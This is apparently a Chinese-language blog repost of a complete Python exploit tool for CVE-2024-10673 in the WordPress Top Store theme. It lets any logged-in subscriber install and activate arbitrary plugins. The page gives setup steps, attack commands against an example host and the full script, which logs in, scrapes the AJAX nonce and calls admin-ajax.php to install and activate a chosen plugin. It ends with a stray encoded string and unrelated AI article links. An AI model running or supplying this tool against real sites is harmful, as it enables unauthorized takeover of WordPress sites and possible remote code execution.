WordPress Top Store 主题高危漏洞利用工具 (CVE-2024-10673)

CVE-2024-10673: WordPress Top Store 主题插件安装利用工具

本项目是一个针对 WordPress Top Store 主题 (<= 1.5.4) 中存在的 CVE-2024-10673 漏洞的概念验证与利用工具。该漏洞允许任何拥有订阅者及以上权限的认证用户,通过未受保护的AJAX请求安装并激活任意插件,从而可能导致远程代码执行和权限提升等严重后果。

功能特性

  • 自动化漏洞利用:脚本自动化完成登录、获取Nonce、安装和激活插件的全过程。
  • 动态Nonce提取 :自动从目标页面的JavaScript中提取有效的ajax_nonce,无需手动干预。
  • 灵活的插件选择 :支持用户通过命令行参数指定要安装和激活的插件(默认安装hunk-companion)。
  • 结构化输出:以JSON格式输出关键步骤的执行结果,便于日志记录和集成到其他自动化流程。
  • 错误处理:对登录失败、Nonce提取失败、插件安装失败等常见错误进行了处理,保证脚本的健壮性。

安装指南

系统要求

  • Python 3.x
  • pip Python包管理器

依赖项

  • requests:用于发送HTTP请求

安装步骤

  1. 克隆或下载项目 :将本项目代码保存到本地,例如文件名为exploit.py

  2. 安装依赖库

    bash 复制代码
    pip install requests

使用说明

基础使用示例

以下命令演示了如何利用漏洞,在目标站点上以用户admin的身份安装并激活默认插件hunk-companion

bash 复制代码
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123

典型使用场景

场景一:安装并激活指定插件

如果你希望安装并激活一个特定的插件(例如woocommerce),可以使用-pl参数:

bash 复制代码
python exploit.py -u http://192.168.1.100/wordpress -un admin -p password123 -pl woocommerce

API 概览 (命令行参数)

该工具通过命令行参数进行控制:

参数 (短) 参数 (长) 类型 必填 默认值 描述
-h --help - - 显示帮助信息并退出。
-u --url string - 目标WordPress站点的URL。
-un --username string - WordPress用户名。
-p --password string - WordPress密码。
-pl --plugin string hunk-companion 要安装和激活的插件slug。

核心代码

以下是工具的核心逻辑,展示了漏洞利用的三个主要步骤:登录、提取Nonce、安装并激活插件。

python 复制代码
import requests
import argparse
import re
import json

# 作者: Nxploit | Khaled Alenazi

# 全局会话,用于维持登录状态
session = requests.Session()
# 忽略SSL证书验证(仅用于测试环境)
session.verify = False
requests.packages.urllib3.disable_warnings()

def login(url, username, password):
    """步骤1: 登录WordPress后台"""
    login_url = f"{url}/wp-login.php"
    login_data = {
        "log": username,
        "pwd": password,
        "rememberme": "forever",
        "wp-submit": "Log In"
    }
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    }
    response = session.post(login_url, data=login_data, headers=headers, allow_redirects=True)
    
    # 检查登录是否成功(通过cookie判断)
    if any("wordpress_logged_in" in cookie.name for cookie in session.cookies):
        return {"status": "success", "message": "Logged in successfully"}
    else:
        return {"status": "error", "message": "Login failed. Check credentials."}

def fetch_nonce(url):
    """步骤2: 从主题设置页面提取AJAX nonce"""
    nonce_page_url = f"{url}/wp-admin/themes.php?page=thunk_started"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    }
    nonce_response = session.get(nonce_page_url, headers=headers)
    
    # 使用正则表达式从JavaScript代码中提取nonce
    nonce_match = re.search(r'var _wpUpdatesSettings = \{"ajax_nonce":"(.*?)"\};', nonce_response.text)
    if nonce_match:
        return {"status": "success", "message": "Nonce extracted", "nonce": nonce_match.group(1)}
    else:
        return {"status": "error", "message": "Failed to extract nonce"}

def install_and_activate_plugin(url, nonce, plugin_slug):
    """步骤3: 使用漏洞安装并激活指定的插件"""
    ajax_url = f"{url}/wp-admin/admin-ajax.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest"
    }

    # 3.1 安装插件
    install_data = {
        "action": "install-plugin",
        "slug": plugin_slug,
        "_ajax_nonce": nonce,
    }
    print(json.dumps({"Installing plugin": f"{plugin_slug}..."}))
    install_response = session.post(ajax_url, data=install_data, headers=headers)
    
    if install_response.status_code == 200:
        install_result = install_response.json()
        if install_result.get('success'):
            print(json.dumps({"Plugin installed successfully": plugin_slug}))
        else:
            print(json.dumps({"error": "Installation failed", "details": install_result}))
            return False
    else:
        print(json.dumps({"error": f"HTTP {install_response.status_code} during installation"}))
        return False

    # 3.2 激活插件
    activate_data = {
        "action": "activate-plugin",
        "plugin": f"{plugin_slug}/{plugin_slug}.php",
        "_ajax_nonce": nonce,
    }
    print(json.dumps({"Activating plugin": f"{plugin_slug}..."}))
    activate_response = session.post(ajax_url, data=activate_data, headers=headers)
    
    if activate_response.status_code == 200:
        activate_result = activate_response.json()
        if activate_result.get('success'):
            print(json.dumps({"Plugin activated successfully": plugin_slug}))
            return True
        else:
            print(json.dumps({"error": "Activation failed", "details": activate_result}))
            return False
    else:
        print(json.dumps({"error": f"HTTP {activate_response.status_code} during activation"}))
        return False

# 主程序入口
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2024-10673 - WordPress Plugin Installation & Activation')
    parser.add_argument('-u', '--url', required=True, help='Target WordPress URL')
    parser.add_argument('-un', '--username', required=True, help='WordPress Username')
    parser.add_argument('-p', '--password', required=True, help='WordPress Password')
    parser.add_argument('-pl', '--plugin', default='hunk-companion', help='Plugin slug to install and activate')
    args = parser.parse_args()

    # 执行攻击链
    login_result = login(args.url, args.username, args.password)
    print(json.dumps(login_result))
    if login_result['status'] == 'error':
        exit()

    nonce_result = fetch_nonce(args.url)
    print(json.dumps({"Fetching nonce value...": nonce_result['message']}))
    if nonce_result['status'] == 'error':
        exit()
    print(json.dumps({"Nonce extracted": nonce_result['nonce']}))

    if install_and_activate_plugin(args.url, nonce_result['nonce'], args.plugin):
        print(json.dumps({"Exploit completed successfully!"}))
    else:
        print(json.dumps({"Exploit failed!"}))

6HFtX5dABrKlqXeO5PUv/6RmbsAYeSh70SEvTFGbDPg=

相关推荐
琛説2 小时前
Web-Rooter:一种 IR + Lint 模式的 AI Agent 创新尝试【或许是下一个 AI 爆火方向】
前端·人工智能
nimadan122 小时前
**豆包seed写剧本2025指南,AI编剧工具实战应用解析**
人工智能·python
新缸中之脑2 小时前
分发:AI的终极护城河
人工智能
databook2 小时前
在AI的世界里,做一个真实的人
人工智能·程序员·创业
新缸中之脑2 小时前
Anthropic报告:AI对就业的影响
大数据·人工智能
V搜xhliang02462 小时前
VLA 模型微调与 ROS 2 集成
人工智能·深度学习·计算机视觉·自然语言处理·知识图谱
itpretty2 小时前
手搓一只迷你小龙虾(Claude Code CLI + Telegram)
人工智能·ai编程·claude
Gallen19832 小时前
AI人工智能领域名词及大语言模型总结(完整版)
人工智能·语言模型·自然语言处理
墨10242 小时前
当 AI 助手开始管理多个项目:如何把“继续某项目”变成可联动机制
人工智能·ai·项目管理·架构设计·工程实践·openclaw